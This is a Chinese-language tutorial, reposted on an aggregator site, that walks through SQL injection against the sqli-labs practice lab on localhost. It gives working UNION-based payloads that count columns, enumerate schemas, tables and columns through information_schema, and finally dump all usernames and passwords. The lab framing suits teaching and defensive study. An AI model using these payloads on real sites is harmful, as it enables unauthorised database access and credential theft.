我的编程空间,编程开发者的网络收藏夹
学习永远不晚

手把手教你通过SQL注入盗取数据库信息

短信预约 信息系统项目管理师 报名、考试、查分时间动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码


	手把手教你通过SQL注入盗取数据库信息


	手把手教你通过SQL注入盗取数据库信息
[数据库教程]

目录
  • 数据库结构
  • 注入示例
    • 判断共有多少字段
    • 判断字段的显示位置
    • 显示登录用户和数据库名
    • 获取所有数据库名
    • 获取对应数据库的表
    • 获取对应表的字段
    • 获取所有的用户密码

我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了做啥非法的事,只是知道小偷怎么偷东西才能更好地防范。

SQL注入(SQL Injection),指将非法的SQL命令插入到URL或者Web表单中请求,而这些请求被服务器认为是正常的SQL语句进行执行。

下面我们用sqli-labs这个开源项目来演示一下SQL注入盗取信息的全程,我们不是为了
sqli-labs是一个sql注入的练习靶机,项目地址为:/sqli-labs

源码是用php写的,这里我使用的是docker部署的,如下
这里我是去store.docker.com搜索的镜像使用:https://hub.docker.com/r/acgpiano/sqli-labs
运行

docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest

运行后打开http://127.0.0.1:8089/,界面如下
技术图片

技术图片

这是一个闯关的课程,一个有22课,接下来我们只会用到Less-1来演示,也就是单引号注入,但是核心原理其实都是通过UNIONt和CONCAT出对应的数据盗取信息。

更多技巧可以参考这篇文章:SQL注入篇——sqli-labs最详细1-75闯关指南

打开:http://127.0.0.1:8089/Less-1/,看到如下内容
技术图片

我们输入id:http://127.0.0.1:8089/Less-1/?id=1,显示了id为1的用户
技术图片

对应的php源码是这样的:

$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";

相当于最后sql变成了

SELECT * FROM users WHERE id=‘1‘ LIMIT 0,1

知其然也知其所以然,欧耶~

数据库结构

数据库是这样的
技术图片

技术图片

注入示例

下面使用Less-1的单引号注入来演示一下盗取信息的过程

我们把id改成:id=1‘ and 1=1 -- -,访问

http://127.0.0.1:8089/Less-1/?id=1‘ and 1=1 -- -

可以正常访问,说明可以用单引号注入,SQL语句相当于变成了

SELECT * FROM users WHERE id=‘1‘ and 1=1 -- ‘ LIMIT 0,1

这就是传说中的单引号注入,相当于构造出了下面这样的语句
技术图片

判断共有多少字段

UNION SELECT 1,user(),database()-- -- -

通过orderby试探,order by是可以直接指定字段的列来排序的,所以可以挨个试,
比如当我们使用order by 5,访问

http://127.0.0.1:8089/Less-1/?id=1‘ order by 5 -- -

报错了,说明不对
技术图片

当我们用order by 3的时候,正常返回了,访问地址:

http://127.0.0.1:8089/Less-1/?id=1‘ order by 3 -- -

正常返回了,说明字段有3个。

判断字段的显示位置

UNION SELECT 1,2,3 -- -

我们构造一下,访问

http://127.0.0.1:8089/Less-1/?id=‘UNION SELECT 1,2,3 -- -

技术图片
分别显示2和3,说明登录名和密码字段在2和3的位置

显示登录用户和数据库名

UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = ‘security‘ ),3 -- -

已经匹配出了字段,接下来的所有用户信息都需要经过UNION相等的列来获取,访问

http://127.0.0.1:8089/Less-1/?id=‘  UNION SELECT 1,database(),user() -- -

技术图片

我们看到当前使用的数据库名叫security,连接的用户是root超管

获取所有数据库名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

技术图片

其实原理就是构造出了这样的语句
技术图片
我们看到了数据库有information_schema、challenges、mysql、performance_schema、security

获取对应数据库的表

UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security‘) -- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security‘) -- -

访问如下
技术图片
我们看到有emails、referers、uagents、users这四个表

获取对应表的字段

UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = ‘security‘ and table_name=‘users‘ ),3 -- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = ‘security‘ and table_name=‘users‘ ),3 -- -

技术图片

可以看到用id、username、password3个字段

获取所有的用户密码

UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -

用户名和密码全出来了,厉害了我的哥!
技术图片

到这里,我们就学会了怎么把对方所有的隐私load出来了,有点可怕啊!你学会了吗!

手把手教你通过SQL注入盗取数据库信息

原文地址:https://www.cnblogs.com/chenqionghe/p/14395297.html

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

手把手教你通过SQL注入盗取数据库信息

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

手把手教你通过SQL注入盗取数据库信息

目录数据库结构注入示例判断共有多少字段判断字段的显示位置显示登录用户和数据库名获取所有数据库名获取对应数据库的表获取对应表的字段获取所有的用户密码我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了做啥非法的事,只是知道小偷怎么偷东西才能更好地防范。SQL

	手把手教你通过SQL注入盗取数据库信息
2016-06-15

编程热搜

目录